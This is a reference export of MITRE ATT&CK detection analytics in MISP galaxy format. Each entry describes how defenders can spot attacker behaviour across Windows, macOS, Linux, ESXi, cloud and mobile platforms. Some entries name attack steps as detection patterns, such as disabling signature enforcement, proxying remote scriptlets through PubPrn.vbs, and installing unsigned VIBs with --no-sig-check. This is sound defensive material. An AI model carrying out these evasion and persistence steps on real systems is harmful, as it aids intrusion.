Monitors execution of administrative utilities (e.g., bcdedit.exe) or registry modifications that disable Driver Signature Enforcement (DSE) or enable Test Signing. Correlates command-line activity, registry changes, and subsequent process executions that bypass signing enforcement.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1446 - AN1446"*

Table 7619. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0523#AN1446

Analytic 1464 - AN1464

Execution of PubPrn.vbs via cscript.exe using the 'script:' moniker to load and execute a remote .sct scriptlet file, bypassing signature validation and proxying remote payloads through a signed Microsoft script host.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1464 - AN1464"*

Table 7620. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0528#AN1464

Analytic 1644 - AN1644

Application vetting services may detect API calls to `performGlobalAction(int)`. The user can view a list of device administrators and applications that have registered accessibility services in device settings. The user can typically visually see when an action happens that they did not initiate and can subsequently review installed applications for any out of place or unknown ones. Applications that register an accessibility service or request device administrator permissions should be scrutinized further for malicious behavior.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1644 - AN1644"*

Table 7621. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0598#AN1644

Analytic 1447 - AN1447

Detects modification of System Integrity Protection (SIP) or code signing enforcement policies through csrutil or kernel variable tampering. Correlates execution of csrutil disable commands with subsequent policy state changes and anomalous unsigned process executions.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1447 - AN1447"*

Table 7622. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0523#AN1447

Analytic 1474 - AN1474

Unauthorized modification of TCC.db followed by elevated process execution under a trusted parent (e.g., Finder, SystemUIServer) or via launchctl environment override. Also includes identification of SIP being disabled, which is highly uncommon and a prerequisite for this abuse path.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1474 - AN1474"*

Table 7623. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0534#AN1474

Analytic 1744 - AN1744

When vetting applications for potential security weaknesses, the vetting process could look for insecure use of Intents. Developers should be encouraged to use techniques to ensure that the intent can only be sent to an appropriate destination (e.g., use explicit rather than implicit intents, permission checking, checking of the destination app's signing certificate, or utilizing the App Links feature). For mobile applications using OAuth, encourage use of best practice.(Citation: IETF-OAuthNativeApps)(Citation: Android-AppLinks) On Android, users may be presented with a popup to select the appropriate application to open a URI in. If the user sees an application they do not recognize, they can remove it.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1744 - AN1744"*

Table 7624. Table References

Links

https://attack.mitre.org/detectionstrategies/DET0656#AN1744
https://developer.android.com/training/app-links/index.html
https://tools.ietf.org/html/rfc8252

Analytic 1448 - AN1448

A remote host sends a short sequence of failed connection attempts (RST/ICMP unreachable) to a set of closed ports. Within a brief window the endpoint (a) adds/enables a firewall rule or (b) a sniffer-backed process begins listening or opens a new socket, after which a successful connection occurs. Also detects Wake-on-LAN magic packets seen on local segment.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1448 - AN1448"*

Table 7625. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0524#AN1448

Analytic 1484 - AN1484

sshd, socat, or custom binaries initiating port forwarding or encapsulating traffic (e.g., RDP, SMB) through SSH or HTTP. Defender sees abnormal connect/bind syscalls, encrypted traffic on ports typically used for non-encrypted services, and outlier traffic volume patterns.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1484 - AN1484"*

Table 7626. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0538#AN1484

Analytic 1844 - AN1844

Unexpected behavior from an application could be an indicator of masquerading. Application vetting services may potentially determine if an application contains suspicious code and/or metadata.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1844 - AN1844"*

Table 7627. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0715#AN1844

Analytic 1944 - AN1944

Much of this activity may have a very high occurrence and associated false positive rate, as well as

potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1944 - AN1944"*

Table 7628. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0812#AN1944

Analytic 1449 - AN1449

Closed-port knock sequence from a remote IP followed by on-host firewall change (iptables/nftables) or daemon starts listening (socket open) and a successful TCP/UDP connect. Optional detection of libpcap/raw-socket sniffers spawning to watch for secret values.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1449 - AN1449"*

Table 7629. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0524#AN1449

Analytic 1494 - AN1494

Detects adversary behavior where a process enumerates and modifies another process's memory using /proc/[pid]/maps and /proc/[pid]/mem files. This includes identifying gadgets via memory mappings and overwriting process memory via low-level file modification or dd usage.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1494 - AN1494"*

Table 7630. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0541#AN1494

Analytic 1455 - AN1455

Execution of `esxcli system hostname get`, `esxcli system version get`, or `esxcli hardware` commands through SSH or local shell.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1455 - AN1455"*

Table 7631. Table References

Links

https://attack.mitre.org/detectionstrategies/DET0525#AN1455

Analytic 1554 - AN1554

ESXi hypervisor environmental validation behavioral chain: (1) Virtual machine inventory and configuration enumeration through vim-cmd and esxcli commands, (2) Host hardware and network configuration discovery for hypervisor environment validation, (3) Datastore and storage configuration reconnaissance, (4) vCenter connectivity and cluster membership validation, (5) Selective malware deployment based on virtualization infrastructure characteristics and target VM validation

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1554 - AN1554"*

Table 7632. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0562#AN1554

Analytic 1545 - AN1545

Detection of interactive and remote logins by service accounts or users at unusual times, with unexpected child process activity.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1545 - AN1545"*

Table 7633. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0560#AN1545

Analytic 1465 - AN1465

Unusual or suspicious processes loading critical native API DLLs (e.g., ntdll.dll, kernel32.dll) followed by direct syscall behavior, memory manipulation, or hollowing.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1465 - AN1465"*

Table 7634. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0529#AN1465

Analytic 1546 - AN1546

Detection of valid account abuse in IdP logs via geographic anomalies, impossible travel, risky sign-ins, and multiple MFA attempts or failures.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1546 - AN1546"*

Table 7635. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0560#AN1546

Analytic 1456 - AN1456

Use of cloud API calls (e.g., AWS EC2 DescribeInstances, Azure VM Inventory) to enumerate system configurations across assets.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1456 - AN1456"*

Table 7636. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0525#AN1456

Analytic 1564 - AN1564

Detection of Office or document viewer processes (e.g., winword.exe) initiating network connections to remote templates or executing scripts due to manipulated template references (e.g., embedded in .docx, .rtf, or .dotm files), followed by suspicious child process creation (e.g., PowerShell).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1564 - AN1564"*

Table 7637. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0566#AN1564

Analytic 1654 - AN1654

Integrity checking mechanisms can potentially detect unauthorized hardware modifications.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1654 - AN1654"*

Table 7638. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0604#AN1654

Analytic 1645 - AN1645

The user can view the default SMS handler in system settings.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1645 - AN1645"*

Table 7639. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0599#AN1645

Analytic 1457 - AN1457

Execution of `show version`, `show hardware`, or `show system` commands through CLI via SSH or console.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1457 - AN1457"*

Table 7640. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0525#AN1457

Analytic 1574 - AN1574

Unusual ESXi processes (vmx, hostd) reading datastore files and generating outbound HTTPS traffic toward external cloud storage endpoints. Defender perspective: anomalous datastore activity followed by network transfers to Dropbox, AWS S3, or other storage services.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1574 - AN1574"*

Table 7641. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0570#AN1574

Analytic 1475 - AN1475

Malicious VIB installation for persistence via `esxcli software vib install` using `--force` or `--no-sig-check`, enabling custom startup scripts or firewall rules. Behavior chain: (1) unsigned/suspicious VIB installation → (2) startup script or binary placed in persistent boot path → (3) persistence across reboot via /etc/rc.local.d or other boot hook).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1475 - AN1475"*

Table 7642. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0535#AN1475

Analytic 1547 - AN1547

Detection of containerized service accounts or compromised kubeconfigs being used for cluster access from unexpected nodes or IPs.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1547 - AN1547"*

Table 7643. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0560#AN1547

Analytic 1754 - AN1754

Network carriers may be able to use firewalls, Intrusion Detection Systems (IDS), or Intrusion Prevention Systems (IPS) to detect and/or block SS7 exploitation.(Citation: CSRIC5-WG10-FinalReport) The CSRIC also suggests threat information sharing between telecommunications industry members.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1754 - AN1754"*

Table 7644. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0662#AN1754
https://web.archive.org/web/20200330012714/https://www.fcc.gov/files/csric5-wg10-finalreport031517pdf

Analytic 1745 - AN1745

On Android, the user can use the device settings menu to view trusted CA certificates and look for unexpected or unknown certificates. A mobile security product could similarly examine the trusted CA certificate store for anomalies. Users can use the device settings menu to view which applications on the device are allowed to install unknown applications.

On iOS, the user can use the device settings menu to view installed Configuration Profiles and look for unexpected or unknown profiles. A Mobile Device Management (MDM) system could use the iOS MDM APIs to examine the list of installed Configuration Profiles for anomalies.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1745 - AN1745"*

Table 7645. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0657#AN1745

Analytic 1485 - AN1485

launchd or user-invoked processes (ssh, socat) encapsulating traffic via SSH tunnels, VPN-style tooling, or DNS-over-HTTPS clients. Defender sees outbound TLS traffic with embedded DNS or RDP payloads.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1485 - AN1485"*

Table 7646. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0538#AN1485

Analytic 1548 - AN1548

Adversary installs or side-loads an IDE extension (VS Code, IntelliJ/JetBrains, Eclipse) or enables IDE tunneling. Chain: (1) IDE binary starts on a non-developer endpoint or server, often with install/force/tunnel flags → (2) extension files/registrations appear under user profile → (3) browser/IDE initiates outbound connections to extension marketplaces, update endpoints, or IDE remote/tunnel services → (4) optional child tools (ssh, node, powershell) execute under the IDE context.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1548 - AN1548"*

Table 7647. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0561#AN1548

Analytic 1458 - AN1458

Detects adversarial archiving of files prior to exfiltration by correlating execution of compression/encryption utilities (e.g., makecab.exe, rar.exe, 7z.exe, powershell Compress-Archive) with subsequent creation of large compressed or encrypted files. Identifies abnormal process lineage involving crypt32.dll usage, command-line arguments invoking compression switches, and file write operations to temporary or staging directories.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1458 - AN1458"*

Table 7648. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0526#AN1458

Analytic 1584 - AN1584

Use of bash scripts or interactive shells to issue sequential ping, arp, or traceroute commands to map remote hosts.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1584 - AN1584"*

Table 7649. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0574#AN1584

Analytic 1845 - AN1845

The OS may show a notification to the user that the Signal or WhatsApp account has been linked to a new device.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1845 - AN1845"*

Table 7650. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0716#AN1845

Analytic 1854 - AN1854

Application vetting services can detect malicious code in applications. System partition integrity checking mechanisms can detect unauthorized or malicious code contained in the system partition.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1854 - AN1854"*

Table 7651. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0721#AN1854

Analytic 1549 - AN1549

Adversary installs or abuses IDE extensions via CLI or direct write to profile directories and then communicates with marketplaces or remote tunnel services. Chain: auditd execve (code/idea/eclipse) with install/update flags or writes under ~/.vscode/extensions, ~/.config/JetBrains → outbound flows to *.visualstudio.com, marketplace.visualstudio.com, *.jetbrains.com, githubusercontent.com, or SSH/WebSocket tunnel endpoints → optional ssh/node processes spawned by IDE.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1549 - AN1549"*

Table 7652. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0561#AN1549

Analytic 1459 - AN1459

Detects adversarial archiving activity through invocation of utilities like tar, gzip, bzip2, or openssl used in non-administrative or unusual contexts. Correlates command execution patterns with file creation of compressed/encrypted outputs in staging directories (e.g., /tmp, /var/tmp).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1459 - AN1459"*

Table 7653. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0526#AN1459

Analytic 1954 - AN1954

Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1954 - AN1954"*

Table 7654. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0822#AN1954

Analytic 1495 - AN1495

Monitor registry modifications to `HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages` or `…\OSConfig\Security Packages`, especially insertions of new DLL entries. Correlate this with subsequent DLL module loads into `lsass.exe`. Track unsigned or anomalous DLLs loading into LSASS using image load auditing. LSASS loads unsigned DLL due to AuditLevel=8 registry configuration or System reboot followed by DLL load into lsass.exe

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1495 - AN1495"*

Table 7655. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0542#AN1495

Analytic 1594 - AN1594

Detection of suspicious enumeration of cloud storage objects via API calls such as AWS S3 ListObjectsV2, Azure List Blobs, or GCP ListObjects. Correlate access with account role, user context, and prior authentication activity to identify anomalous usage patterns (e.g., unusual account, unexpected regions, or large-scale enumeration in short time windows).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1594 - AN1594"*

Table 7656. Table References

Links

https://attack.mitre.org/detectionstrategies/DET0578#AN1594

Analytic 1945 - AN1945

Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1945 - AN1945"*

Table 7657. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0813#AN1945

Analytic 1466 - AN1466

Userland processes invoking syscall-heavy libraries (libc, glibc) followed by fork, mmap, or ptrace behavior commonly associated with code injection or memory manipulation.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1466 - AN1466"*

Table 7658. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0529#AN1466

Analytic 1646 - AN1646

Application vetting services could look for the Android permission `android.permission.QUERY_ALL_PACKAGES`, and apply extra scrutiny to applications that request it. On iOS, application vetting services could look for usage of the private API `LSApplicationWorkspace` and apply extra scrutiny to applications that employ it.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1646 - AN1646"*

Table 7659. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0600#AN1646

Analytic 1664 - AN1664

Application vetting services may provide a list of connections made or received by an application, or a list of domains contacted by the application. Many properly configured firewalls may naturally

block one-way command and control traffic.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1664 - AN1664"*

Table 7660. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0610#AN1664

Analytic 1467 - AN1467

Execution of processes that link to CoreServices or Foundation APIs followed by creation of memory regions, code execution, or abnormal library injection.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1467 - AN1467"*

Table 7661. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0529#AN1467

Analytic 1476 - AN1476

Detects anomalous wireless connections such as unexpected SSID associations, failed or repeated authentication attempts, and connections outside of known geofenced networks. Defenders should monitor wireless connection logs and event codes for network discovery, authentication, and association events.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1476 - AN1476"*

Table 7662. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0536#AN1476

Analytic 1764 - AN1764

Application vetting services can look for the use of the Android `MediaProjectionManager` class, applying extra scrutiny to applications that use the class. The user can view a list of apps with accessibility service privileges in the device settings.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1764 - AN1764"*

Table 7663. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0668#AN1764

Analytic 1647 - AN1647

Application vetting services could look for the Android permission `android.permission.QUERY_ALL_PACKAGES`, and apply extra scrutiny to applications that request it. On iOS, application vetting services could look for usage of the private API `LSApplicationWorkspace` and apply extra scrutiny to applications that employ it.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1647 - AN1647"*

Table 7664. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0600#AN1647

Analytic 1674 - AN1674

Application vetting services could look for applications attempting to get `android.os.SystemProperties` or `getprop` with the runtime `exec()` commands. This could indicate some level of sandbox evasion, as Google recommends against using system properties within applications.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1674 - AN1674"*

Table 7665. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0616#AN1674

Analytic 1746 - AN1746

On Android, the user can use the device settings menu to view trusted CA certificates and look for unexpected or unknown certificates. A mobile security product could similarly examine the trusted CA certificate store for anomalies. Users can use the device settings menu to view which applications on the device are allowed to install unknown applications.

On iOS, the user can use the device settings menu to view installed Configuration Profiles and look for unexpected or unknown profiles. A Mobile Device Management (MDM) system could use the iOS MDM APIs to examine the list of installed Configuration Profiles for anomalies.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1746 - AN1746"*

Table 7666. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0657#AN1746

Analytic 1468 - AN1468

An SMB-based remote file share access followed by lateral movement actions such as remote service creation, task scheduling, or suspicious process execution on the target host using ADMIN$ or C$ shares.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1468 - AN1468"*

Table 7667. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0530#AN1468

Analytic 1486 - AN1486

VMware daemons or user processes encapsulating traffic (e.g., guest VMs tunneling via hostd). Defender sees network services inside ESXi creating flows inconsistent with management plane traffic, such as SSH forwarding or DNS-over-HTTPS from management interfaces.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1486 - AN1486"*

Table 7668. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0538#AN1486

Analytic 1648 - AN1648

System information discovery can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1648 - AN1648"*

Table 7669. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0601#AN1648

Analytic 1846 - AN1846

The OS may show a notification to the user that the Signal or WhatsApp account has been linked to a new device.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1846 - AN1846"*

Table 7670. Table References

Links

https://attack.mitre.org/detectionstrategies/DET0716#AN1846

Analytic 1684 - AN1684

Application vetting services could detect when applications store data insecurely, for example, in unprotected external storage.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1684 - AN1684"*

Table 7671. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0621#AN1684

Analytic 1496 - AN1496

Processes not typically associated with encryption loading asymmetric crypto libraries (e.g., rsaenh.dll, crypt32.dll) and subsequently initiating outbound TLS/SSL connections with abnormal certificate chains or handshakes. Defender correlates process creation, module load, and unusual encrypted sessions.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1496 - AN1496"*

Table 7672. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0543#AN1496

Analytic 1946 - AN1946

Monitor for suspicious network traffic that could be indicative of probing for email addresses and/or usernames, such as large/iterative quantities of authentication requests originating from a single source (especially if the source is known to be associated with an adversary/botnet). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1946 - AN1946"*

Table 7673. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0814#AN1946

Analytic 1964 - AN1964

Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1964 - AN1964"*

Table 7674. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0832#AN1964

Analytic 1469 - AN1469

Addition of credentials (keys, app passwords, x.509 certs) to existing cloud accounts, service principals, or OAuth apps via portal or API by non-standard identities or IP ranges.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1469 - AN1469"*

Table 7675. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0531#AN1469

Analytic 1649 - AN1649

System information discovery can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1649 - AN1649"*

Table 7676. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0601#AN1649

Analytic 1694 - AN1694

When vetting applications for potential security weaknesses, the vetting process could look for insecure use of Intents. Developers should be encouraged to use techniques to ensure that the intent can only be sent to an appropriate destination (e.g., use explicit rather than implicit intents, permission checking, checking of the destination app's signing certificate, or utilizing the App Links feature). For mobile applications using OAuth, encourage use of best practice. (Citation: IETF-OAuthNativeApps)(Citation: Android-AppLinks) On Android, users may be presented with a popup to select the appropriate application to open the URI in. If the user sees an application they do not recognize, they can remove it.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1694 - AN1694"*

Table 7677. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0626#AN1694
https://developer.android.com/training/app-links/index.html
https://tools.ietf.org/html/rfc8252

Analytic 1477 - AN1477

Detects unauthorized wireless associations by monitoring wpa_supplicant logs, NetworkManager events, and system calls related to interface state changes. Anomalies include repeated association failures, new SSIDs outside baselined values, and rogue AP connections.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1477 - AN1477"*

Table 7678. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0536#AN1477

Analytic 1747 - AN1747

The OS may show a notification to the user that the SIM card has been transferred to another device.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1747 - AN1747"*

Table 7679. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0658#AN1747

Analytic 1774 - AN1774

Application vetting services could look for `android.permission.READ_CALENDAR` or `android.permission.WRITE_CALENDAR` in an Android application's manifest, or `NSCalendarsUsageDescription` in an iOS application's `Info.plist` file. Most applications do not need calendar access, so extra scrutiny could be applied to those that request it. On both Android and iOS, the user can manage which applications have permission to access calendar information through the device settings screen, revoke the permission if necessary.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1774 - AN1774"*

Table 7680. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0674#AN1774

Analytic 1478 - AN1478

Detects unauthorized Wi-Fi associations and SSID scanning activity using unified logs and airport command telemetry. Anomalies include rapid SSID switching, connections to unapproved SSIDs, or repeated authentication failures.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1478 - AN1478"*

Table 7681. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0536#AN1478

Analytic 1487 - AN1487

Detects suspicious OAuth application integrations within Office 365 or Google Workspace environments, such as new app registrations, unexpected consent grants, or privilege assignments. Defenders should correlate between application creation/modification events and associated user or service principal activity to identify persistence via app integrations.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1487 - AN1487"*

Table 7682. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0539#AN1487

Analytic 1748 - AN1748

The OS may show a notification to the user that the SIM card has been transferred to another device.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1748 - AN1748"*

Table 7683. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0658#AN1748

Analytic 1847 - AN1847

This is abuse of standard OS-level APIs and are therefore typically undetectable to the end user.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1847 - AN1847"*

Table 7684. Table References

Links

https://attack.mitre.org/detectionstrategies/DET0717#AN1847

Analytic 1784 - AN1784

Application vetting services could look for the Android permission `android.permission.QUERY_ALL_PACKAGES`, and apply extra scrutiny to applications that request it. On iOS, application vetting services could look for usage of the private API `LSApplicationWorkspace` and apply extra scrutiny to applications that employ it.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1784 - AN1784"*

Table 7685. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0680#AN1784

Analytic 1497 - AN1497

Processes (e.g., bash, python, custom binaries) dynamically linking libcrypto/libssl for RSA key exchange, then creating external connections with abnormal certificate validation or handshake anomalies. Defender observes syscall traces and outbound asymmetric key exchanges from non-SSL-native processes.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1497 - AN1497"*

Table 7686. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0543#AN1497

Analytic 1479 - AN1479

Detects rogue or suspicious wireless access attempts by monitoring firewall, WIDS/WIPS, and controller logs. Focus is on firewall rule changes, rogue AP detection, and anomalous MAC addresses connecting to access points.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1479 - AN1479"*

Table 7687. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0536#AN1479

Analytic 1947 - AN1947

Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1947 - AN1947"*

Table 7688. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0815#AN1947

Analytic 1974 - AN1974

Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on behaviors relating to the potential use of generative artificial intelligence (i.e. [Phishing](https://attack.mitre.org/techniques/T1566), [Phishing for Information](https://attack.mitre.org/techniques/T1598)).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1974 - AN1974"*

Table 7689. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0842#AN1974

Analytic 1749 - AN1749

No standard detection method currently exists for this technique.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1749 - AN1749"*

Table 7690. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0659#AN1749

Analytic 1794 - AN1794

Abuse of standard application protocols can be difficult to detect as many legitimate mobile applications leverage such protocols for language-specific APIs. Enterprises may be better served focusing on detection at other stages of adversarial behavior.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1794 - AN1794"*

Table 7691. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0685#AN1794

Analytic 1488 - AN1488

Detects anomalous SaaS application integration activity across environments such as Slack, Salesforce, or other enterprise SaaS services. Focus is on unauthorized app additions, unusual permission grants, and persistence through service principal tokens.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1488 - AN1488"*

Table 7692. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0539#AN1488

Analytic 1848 - AN1848

Application vetting services could look for connections to unknown domains or IP addresses. Application vetting services may indicate precisely what content was requested during application execution.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1848 - AN1848"*

Table 7693. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0718#AN1848

Analytic 1948 - AN1948

Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1948 - AN1948"*

Table 7694. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0816#AN1948

Analytic 1498 - AN1498

Applications or launchd services invoking RSA or public-key routines from the Security framework, followed by outbound SSL/TLS sessions with unrecognized certs or anomalous handshakes. Defender observes unified logs of API calls and suspicious network entropy.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1498 - AN1498"*

Table 7695. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0543#AN1498

Analytic 1984 - AN1984

Monitor for contextual data about a malicious payload, such as compilation times, file hashes, as well as watermarks or other identifiable configuration information. In some cases, malware repositories can also be used to identify features of tool use associated with an adversary, such as watermarks in [Cobalt Strike](https://attack.mitre.org/software/S0154) payloads.(Citation: Analyzing CS Dec 2020) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1984 - AN1984"*

Table 7696. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0852#AN1984
https://www.randhome.io/blog/2020/12/20/analyzing-cobalt-strike-for-fun-and-profit/

Analytic 1489 - AN1489

Sustained execution of resource-intensive processes (e.g., cryptocurrency miners), often launched via scheduled tasks, WMI, or PowerShell. These processes frequently establish persistent external connections and attempt to evade detection using masqueraded or renamed binaries.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1489 - AN1489"*

Table 7697. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0540#AN1489

Analytic 1849 - AN1849

Application vetting services could look for connections to unknown domains or IP addresses. Application vetting services may indicate precisely what content was requested during application execution.

